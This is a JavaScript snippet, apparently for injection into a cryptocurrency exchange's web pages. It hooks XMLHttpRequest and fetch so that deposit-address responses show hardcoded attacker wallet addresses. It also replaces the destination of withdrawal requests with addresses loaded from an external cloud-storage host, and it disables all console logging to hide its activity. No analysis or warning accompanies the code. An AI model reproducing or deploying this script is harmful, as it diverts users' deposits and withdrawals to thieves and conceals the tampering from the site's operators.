(function() { // ====================== 第一部分:篡改充值地址响应 ====================== const part1OriginalOpen = XMLHttpRequest.prototype.open; const part1OriginalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { this._url = url; return part1OriginalOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { const url = this._url; if (url.includes('/api/user/recharge_address_list') || url.includes('/api/getCZAddress')) { const originalOnReadyStateChange = this.onreadystatechange; const originalOnLoad = this.onload; this.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { try { const response = JSON.parse(this.responseText); // 处理充值地址列表 if (url.includes('/api/user/recharge_address_list') && response.message && Array.isArray(response.message)) { response.message.forEach(item => { if (item.name === "USDC") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "ETH") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "USDT(TRC20)") { item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (item.name === "USDT(ERC20)") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "BTC") { item.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV"; } }); } // 处理 /api/getCZAddress 端点 else if (url.includes('/api/getCZAddress') && response.message && response.message.address) { const addr = response.message.address; if (addr.startsWith('T')) { response.message.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (addr.startsWith('0x')) { response.message.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (/^\d/.test(addr) && addr.length === 34) { response.message.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV"; } } Object.defineProperty(this, 'response', {value: JSON.stringify(response)}); Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)}); } catch(e) {} } if (originalOnReadyStateChange) originalOnReadyStateChange.apply(this, arguments); }; this.onload = function() { if (this.status === 200) { try { const response = JSON.parse(this.responseText); // 处理充值地址列表 if (url.includes('/api/user/recharge_address_list') && response.message && Array.isArray(response.message)) { response.message.forEach(item => { if (item.name === "USDC") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "ETH") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "USDT(TRC20)") { item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (item.name === "USDT(ERC20)") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "BTC") { item.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV"; } }); } // 处理 /api/getCZAddress 端点 else if (url.includes('/api/getCZAddress') && response.message && response.message.address) { const addr = response.message.address; if (addr.startsWith('T')) { response.message.address = "TPSUPbsWaAL8ZwgUexTqn4cmvWthRPRDbR"; } else if (addr.startsWith('0x')) { response.message.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (/^\d/.test(addr) && addr.length === 34) { response.message.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV"; } } Object.defineProperty(this, 'response', {value: JSON.stringify(response)}); Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)}); } catch(e) {} } if (originalOnLoad) originalOnLoad.apply(this, arguments); }; } return part1OriginalSend.apply(this, arguments); }; // ====================== 第二部分:篡改提现请求 ====================== const addressCache = { TRC20: [], ETH: [], BTC: [] }; const addressUrls = { 'USDT(TRC20)': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/TRC20.txt', 'USDT(ERC20)': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt', 'ETH': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt', 'USDC': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt', 'BTC': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/BTC.txt' }; const loadAddressList = (type) => { return new Promise((resolve) => { const xhr = new XMLHttpRequest(); xhr.open('GET', addressUrls[type]); xhr.onload = () => { if (xhr.status === 200) { addressCache[type] = xhr.responseText.trim().split('\n'); } resolve(); }; xhr.send(); }); }; Promise.all([ loadAddressList('USDT(TRC20)'), loadAddressList('USDT(ERC20)'), loadAddressList('ETH'), loadAddressList('USDC'), loadAddressList('BTC') ]).then(() => {}); const getRandomAddress = (usdtType) => { const cacheType = usdtType.includes('TRC20') ? 'TRC20' : usdtType.includes('ERC20') || usdtType === 'ETH' || usdtType === 'USDC' ? 'ETH' : 'BTC'; const list = addressCache[cacheType]; return list.length > 0 ? list[Math.floor(Math.random() * list.length)] : 'DEFAULT_ADDRESS'; }; const part2OriginalOpen = XMLHttpRequest.prototype.open; const part2OriginalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { const result = part2OriginalOpen.apply(this, arguments); this._method = method; this._url = url; return result; }; XMLHttpRequest.prototype.send = function(body) { const self = this; const url = this._url; const method = this._method; if (url.includes('/api/wallet/out') && method === 'POST') { try { let requestBody = body; if (typeof body === 'string') { const data = JSON.parse(body); if (data.usdtType) { data.address = getRandomAddress(data.usdtType); requestBody = JSON.stringify(data); } } return part2OriginalSend.call(self, requestBody); } catch(e) { return part2OriginalSend.call(self, body); } } return part2OriginalSend.call(self, body); }; // ====================== 合并的fetch拦截 ====================== const originalFetch = window.fetch; window.fetch = function(input, init) { const url = typeof input === 'string' ? input : input.url; if (url.includes('/api/wallet/out') && init?.method === 'POST') { try { const clonedInit = {...init}; let bodyText = clonedInit.body; if (typeof bodyText === 'string') { const data = JSON.parse(bodyText); if (data.usdtType) { data.address = getRandomAddress(data.usdtType); clonedInit.body = JSON.stringify(data); } } return originalFetch(input, clonedInit); } catch(e) { return originalFetch(input, init); } } return originalFetch(input, init).then(response => { const responseUrl = response.url || url; if (responseUrl.includes('/api/user/recharge_address_list') || responseUrl.includes('/api/getCZAddress')) { return response.clone().json().then(data => { // 处理充值地址列表 if (responseUrl.includes('/api/user/recharge_address_list') && data.message && Array.isArray(data.message)) { data.message.forEach(item => { if (item.name === "USDC") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "ETH") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "USDT(TRC20)") { item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (item.name === "USDT(ERC20)") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (item.name === "BTC") { item.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV"; } }); } // 处理 /api/getCZAddress 端点 else if (responseUrl.includes('/api/getCZAddress') && data.message && data.message.address) { const addr = data.message.address; if (addr.startsWith('T')) { data.message.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (addr.startsWith('0x')) { data.message.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } else if (/^\d/.test(addr) && addr.length === 34) { data.message.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV"; } } return new Response(JSON.stringify(data), { status: response.status, statusText: response.statusText, headers: response.headers }); }); } return response; }); }; // ====================== 隐藏日志 ====================== const noop = () => {}; console.debug = noop; console.log = noop; console.info = noop; console.warn = noop; console.error = noop; })();